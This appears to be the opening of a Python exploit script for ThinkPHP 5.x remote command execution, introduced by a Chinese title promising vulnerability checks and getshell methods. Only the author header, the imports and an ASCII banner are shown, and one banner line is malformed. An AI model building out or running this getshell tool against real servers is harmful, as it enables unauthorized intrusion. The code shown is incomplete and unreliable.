thinkphp python_python3编写ThinkPHP命令执行Getshell的方法

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3

# -*- coding: utf-8 -*-

# @Author: Morker

# @Email: [email]admin@nsf.me[/email]

# @Blog: [url]http://nsf.me/[/url]

import requests

import sys

def demo():

print(' _______ _ _ _ _____ _ _ _____ ')

print(' |__ __| | (_) | | | __ \| | | | __ \ ')

print(' | | | |__ _ _ __ | | _| |__) | |__| | |__) |')

print(''' | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')

print(' | | | | | | | | | |

print(' |_| |_| |_|_|_| |_|_|\_\_| |_| |_|_| ')

print()

print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')

print('\tRemote command execution exploit.')

print('\tVulnerability verification and getshell.')

print('\tTarget: http://target/publ